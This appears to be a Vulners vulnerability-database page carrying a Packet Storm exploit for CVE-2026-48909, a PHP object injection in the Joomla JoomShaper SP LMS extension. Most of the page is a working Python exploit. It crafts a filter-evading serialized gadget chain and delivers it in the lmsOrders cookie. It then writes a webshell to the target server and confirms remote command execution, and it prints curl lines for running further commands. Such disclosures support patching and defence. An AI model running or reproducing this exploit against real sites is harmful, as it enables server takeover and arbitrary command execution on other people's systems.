Lucene search
K

πŸ“„ Joomla JoomShaper SP LMS 4.1.3 PHP Object Injection

πŸ—“οΈΒ 07 Jul 2026Β 00:00:00Reported byΒ Amin Δ°sayevTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 9Β Views

Joomla SP LMS version <=4.1.3 suffers PHP object injection via lmsOrders cookie to drop a webshell; fixed in 4.1.4.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-48909
21 Jun 202621:05
–githubexploit
ATTACKERKB
CVE-2026-48909
20 Jun 202611:56
–attackerkb
Circl
CVE-2026-48909
20 Jun 202613:49
–circl
CVE
CVE-2026-48909
20 Jun 202611:56
–cve
Cvelist
CVE-2026-48909 Joomla Extension - joomshaper.com - PHP Object injection in SP LMS extension for Joomla < 4.1.4
20 Jun 202611:56
–cvelist
Exploit DB
Joomla Extension 4.1.4 - PHP Object injection
6 Jul 202600:00
–exploitdb
EUVD
EUVD-2026-38108
20 Jun 202611:56
–euvd
NVD
CVE-2026-48909
20 Jun 202613:16
–nvd
Positive Technologies
PT-2026-51136
20 Jun 202600:00
–ptsecurity
Vulnrichment
CVE-2026-48909 Joomla Extension - joomshaper.com - PHP Object injection in SP LMS extension for Joomla < 4.1.4
20 Jun 202611:56
–vulnrichment
Rows per page
Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection 
    Affected : JoomShaper SP LMS <= 4.1.3
    Fixed    : JoomShaper SP LMS >= 4.1.4
    Author   : Amin Δ°sayev / Proxima Cyber Security
    
    Joomla version note:
      RCE requires Joomla < 5.2.2
      Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the
      gadget chain β€” PHP Object Injection still exists in com_splms but no
      known public gadget chain leads to RCE on patched Joomla versions.
    
    Attack chain:
      lmsOrders cookie
      β†’ unserialize(base64_decode($cookie))          [com_splms/models/cart.php:28]
      β†’ FormattedtextLogger.__destruct()              [Joomla gadget]
      β†’ File::write($path, $format)
      β†’ webshell on disk
    
    Joomla Input filter note:
      $cookie->get() uses 'cmd' filter by default β†’ strips '/', '=', '+' from cookie.
      Fix: pad format string so serialized total is divisible by 3 (no '=') and
      iterate until base64 has no '/' (shifts encoding).
    
      Format string uses hex2bin() to avoid forbidden chars: $ _ { } \n
    
    Usage:
      python3 CVE-2026-48909_exploit.py <target> <server_path>
    
      server_path = absolute PHP-writable path on server
      Examples  :
        /var/www/html/tmp/x.php
        /home/USER/public_html/tmp/x.php
        /var/www/vhosts/site.com/httpdocs/tmp/x.php
    """
    
    import sys
    import base64
    import requests
    import urllib3
    
    urllib3.disable_warnings()
    
    CART_PATH = "/index.php?option=com_splms&view=cart"
    TIMEOUT   = 15
    WEBSHELL  = '<?php fpassthru(popen($_GET["c"],"r"));?>'
    
    # ─── PHP serializer ───────────────────────────────────────────────────────────
    
    def _s(s: str) -> str:
        return f's:{len(s.encode())}:"{s}";'
    
    def _pk(name: str) -> str:
        """Protected property key (null-byte notation for string concat)"""
        return f'\x00*\x00{name}'
    
    def _build_serialized(webshell_path: str, fmt: str) -> str:
        """Build the raw PHP serialized string (not yet base64)."""
        entry = (
            'O:23:"Joomla\\CMS\\Log\\LogEntry":3:{'
            's:4:"date";s:10:"1234567890";'
            's:4:"time";s:1:"t";'
            's:1:"f";s:3:"xxx";'
            '}'
        )
        cn = 'Joomla\\CMS\\Log\\Logger\\FormattedtextLogger'
    
        props = (
            _s(_pk('defer'))    + 'b:1;' +
            _s(_pk('options'))  + 'a:1:{s:16:"text_file_no_php";b:1;}' +
            _s(_pk('path'))     + _s(webshell_path) +
            _s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' +
            _s(_pk('format'))   + _s(fmt) +
            _s(_pk('fields'))   + 'a:0:{}'
        )
        return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}'
    
    
    def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]:
        """
        Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter.
    
        The filter strips '/', '=' and '+'. We avoid these by:
          1. Encoding php_code as hex β†’ no '$', '_', '{', '}', '\\n' in format
          2. Padding format to make total serialized length divisible by 3 β†’ no '=' padding
          3. Iterating pad size (by 3) until base64 contains no '/' chars
    
        Returns (base64_payload, format_length).
        """
        hex_code   = php_code.encode().hex()
        core       = f'<?php fwrite(fopen("{webshell_path}","w"),hex2bin("{hex_code}"));'
        pad_prefix = '/*'
        pad_suffix = '*/;?>'
    
        PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    
        for target_fmt_len in range(200, 8000):
            pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix)
            if pad_len < 0:
                continue
    
            # Quick mod-3 check with first pad_char before trying all 62
            fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix
            ser_probe  = _build_serialized(webshell_path, fmt_probe).encode('latin-1')
            if len(ser_probe) % 3 != 0:
                continue  # no pad_char can fix mod-3 alignment for this length
    
            for pad_char in PAD_CHARS:
                fmt = core + pad_prefix + pad_char * pad_len + pad_suffix
    
                serialized = _build_serialized(webshell_path, fmt)
                ser_bytes   = serialized.encode('latin-1')
                b64 = base64.b64encode(ser_bytes).decode()
    
                if '/' not in b64 and '+' not in b64:
                    return b64, len(fmt)
    
        raise RuntimeError("Could not find filter-safe payload β€” try a different path")
    
    
    # ─── Exploit ──────────────────────────────────────────────────────────────────
    
    def _server_path_to_url(server_path: str) -> str:
        """Strip webroot prefix to get the URL path."""
        import re
        # cPanel: /home[N]/USER/public_html/...
        m = re.match(r'^/home\d*/[^/]+/public_html(/.*)', server_path)
        if m:
            return m.group(1)
        # Plesk: /var/www/vhosts/DOMAIN/httpdocs/...
        m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path)
        if m:
            return m.group(1)
        # Standard
        for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'):
            if server_path.startswith(prefix):
                return server_path[len(prefix):]
        return server_path
    
    
    def exploit(target: str, server_path: str) -> None:
        url_path = _server_path_to_url(server_path)
    
        cart_url  = target.rstrip('/') + CART_PATH
        shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path)
    
        session = requests.Session()
        session.verify = False
        session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
        })
    
        print(f"[*] Target     : {target}")
        print(f"[*] Shell path : {server_path}")
        print(f"[*] Shell URL  : {shell_url}")
    
        print("[*] Building filter-safe payload...")
        payload, fmt_len = build_payload(server_path, WEBSHELL)
        print(f"[*] Format len : {fmt_len} bytes  |  Base64 len: {len(payload)}")
        print(f"[*] Payload    : {payload[:60]}...")
        print()
    
        try:
            r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT)
            status = r.status_code
            if status == 500:
                print(f"[+] HTTP 500 β€” gadget triggered (FormattedtextLogger.__destruct)")
            elif status == 200:
                print(f"[?] HTTP 200 β€” payload may have been filtered or gadget not triggered")
            else:
                print(f"[?] HTTP {status}")
        except requests.RequestException as e:
            print(f"[!] Request failed: {e}")
            return
    
        import time; time.sleep(1)
    
        # Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell
        print("[*] Step 1: triggering fopen/fwrite loader...")
        try:
            r1 = session.get(shell_url, timeout=TIMEOUT)
            print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)")
        except requests.RequestException as e:
            print(f"[!] Loader request failed: {e}")
    
        # Step 2: verify RCE
        print("[*] Step 2: checking shell...")
        try:
            rv = session.get(shell_url + '?c=id', timeout=TIMEOUT)
            if rv.status_code == 200 and 'uid=' in rv.text:
                print(f"\n[+] SHELL ACTIVE!")
                print(f"[+] id: {rv.text.strip()[:200]}")
                print(f"\n    curl -sk '{shell_url}?c=COMMAND'")
            elif rv.status_code == 200 and len(rv.text.strip()) < 600:
                print(f"\n[~] File accessible:")
                print(f"    {rv.text.strip()[:300]}")
                print(f"\n    Try again: curl -sk '{shell_url}?c=id'")
            elif rv.status_code == 404:
                print(f"[-] Shell not found (404) β€” file not written or wrong path")
                print(f"    Common paths: /tmp/x.php  /images/x.php  /cache/x.php")
            elif rv.status_code == 403:
                print(f"[~] 403 β€” file may exist but PHP not served there")
            else:
                print(f"[-] HTTP {rv.status_code}")
        except requests.RequestException as e:
            print(f"[!] Shell check failed: {e}")
    
    
    def main():
        if len(sys.argv) < 3:
            print(__doc__)
            sys.exit(1)
    
        exploit(sys.argv[1], sys.argv[2])
    
    
    if __name__ == '__main__':
        main()

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jul 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 49.5
EPSS0.00796
SSVC
9